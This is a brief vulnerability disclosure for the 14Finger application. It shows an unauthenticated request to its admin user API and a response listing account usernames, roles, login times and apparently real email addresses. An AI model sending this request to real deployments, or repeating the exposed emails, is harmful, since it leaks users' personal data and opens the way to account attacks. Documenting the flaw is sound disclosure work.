

14Finger User Sensitive Information Leakage Vulnerability

By replacing this packet, we have obtained a list of all user information without authorization, which not only causes information leakage, but also provides related information for the attacker's next step.

```
1 GET /api/admin/user?page=1&size=10&key=&value= HTTP/1.1
2 Host: 192.168.136.140:7990
3 Accept: application/json, text/plain, */*
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
  Like Gecko) Chrome/123.0.6312.58 Safari/537.36
5 Referer: http://192.168.136.140:7990/userManager
6 Accept-Encoding: gzip, deflate, br
7 Accept-Language: zh-CN,zh;q=0.9
8 Connection: close
9
)

{"is_superuser":false,
 "username":"black4t",
 "first_name":"",
 "last_name":"",
 "is_staff":false,
 "is_active":true,
 "date_joined":"2022-05-14T16:45:33.341946",
 "email":"1232241@163.com",
 "role":"admin",
 "groups":[
 ],
 "user_permissions":[
 ]
},
{"id":9,
 "last_login":"2024-06-04T16:07:56.055372",
 "is_superuser":false,
 "username":"admin",
 "first_name":"",
 "last_name":"",
 "is_staff":false,
 "is_active":true,
 "date_joined":"2022-05-10T15:21:18.332770",
 "email":"1844305147@qq.com",
 "role":"admin",
 "groups":[
 ],
 "user_permissions":[
 ]
},
{"id":12,
 "last_login":"2024-06-04T16:23:30.160492",
 "is_superuser":false,
 "username":"k3ppfor",
 "first_name":"",
 "last_name":"",
 "is_staff":false,
 "is_active":true,
 "date_joined":"2022-05-10T15:21:18.332770",
 "email":"1844305147@qq.com",
 "role":"admin",
 "groups":[
 ],
 "user_permissions":[
 ]
}
```